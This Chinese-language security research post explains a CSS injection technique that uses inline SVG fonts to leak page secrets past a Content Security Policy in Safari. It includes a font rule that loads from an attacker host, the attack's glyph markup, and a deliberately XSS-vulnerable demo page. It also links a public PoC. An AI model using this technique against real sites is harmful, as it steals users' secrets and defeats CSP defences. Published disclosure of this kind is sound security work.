利用CSS与SVG字体实现数据窃取的技术解析

本文详细介绍了一种通过CSS结合SVG字体绕过内容安全策略(CSP)限制,实现页面敏感数据窃取的技术原理和验证方法,包含完整的技术实现细节和实际攻击案例演示。

数据窃取技术:CSS与SVG字体的结合利用

本文将展示如何利用SVG字体和CSS来读取页面文本内容。目前已有多种通过CSS读取页面文本内容的已知方法,Juan Manuel Fernández在以下文章中全面介绍了这些技术:

CSS注入原语 :: DoomsDay Vault

这些技术在某些情况下对攻击者非常有用,例如当输入被清理且只能使用有限HTML标签时,或者由于内容安全策略(CSP)限制而无法使用JavaScript时。

今天我要介绍的技术就是其中之一。基本思路与Michał Bentkowski提出的字体连字技巧相同:

以优雅的方式窃取数据 - 如何利用CSS攻击Web应用程序

虽然原理基本相同,但我从未见过任何文章提及这种方法。我认为值得介绍,因为当Michał的技术因CSP限制而无法使用时,本文介绍的技术在特定情况下可能很有用。

SVG字体的优势

在Michał的技巧中,他使用了从SVG字体转换而来的WOFF字体。而在我的技巧中,我直接使用SVG字体而不进行转换。Michał曾表示"浏览器已停止支持字体中的SVG格式(因此需要使用WOFF格式)",但事实上,Safari仍然支持它。

最重要的是,即使CSP限制阻止了字体加载,SVG字体仍然可以使用。这是因为SVG字体不仅可以从URL加载(像WOFF字体一样),而且所有字体组件都可以内联定义,无需从URL加载。

技术实现对比

在Michał的技巧中,WOFF字体通过<style>@font-face加载:

1
2
3
4
5
6
7
<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

此样式可以替换为以下内联SVG:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

现在,如果通过CSS将font-family属性设置为"hack",即使SVG外部的目标文本也会应用SVG字体。即使设置了font-src 'none',这也不会被CSP阻止。(注意:为了观察泄露的数据,此技巧与Michał的技巧一样使用背景图像请求,因此至少必须在img-src指令中允许可以观察请求的主机。)

概念验证演示

当存在如下易受攻击的页面时:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>
<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

我将展示SVG字体如何泄露"secret"变量。

您可以通过使用Safari打开以下URL并单击"Go"按钮来重现此问题。

PoC链接: https://l0.cm/svg_font/poc.php

完整代码可在以下位置找到:https://github.com/masatokinugawa/css-exfiltration-svg-font

如果PoC正常工作,如以下视频所示,将打开多个新窗口,等待一段时间后,秘密变量的字符串将逐渐显示在具有"Go"按钮的页面上,如"573b …"。

技术差异说明

除了使用SVG字体外,这与Michał的PoC几乎相同,但有一些变化。在他的PoC中,他将目标页面加载到iframe中,但在我的PoC中,我使用了window.open()代替。这是因为Safari现在默认阻止所有第三方cookie,我认为使用iframe的攻击对Safari来说不太现实。

此外,我改变了传递数据的方式。同样由于第三方cookie阻止,加载背景图像时无法设置cookie,因此我改用URL参数传递会话ID。

如果您习惯使用Chrome,可能会想知道为什么一次点击会打开多个新窗口。这是因为Safari有弹出窗口阻止程序,但对一次点击可以打开的窗口数量没有限制。得益于此,可以使用多个窗口高效地尝试读取数据。

总结

感谢阅读!希望这篇文章对您有所帮助。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计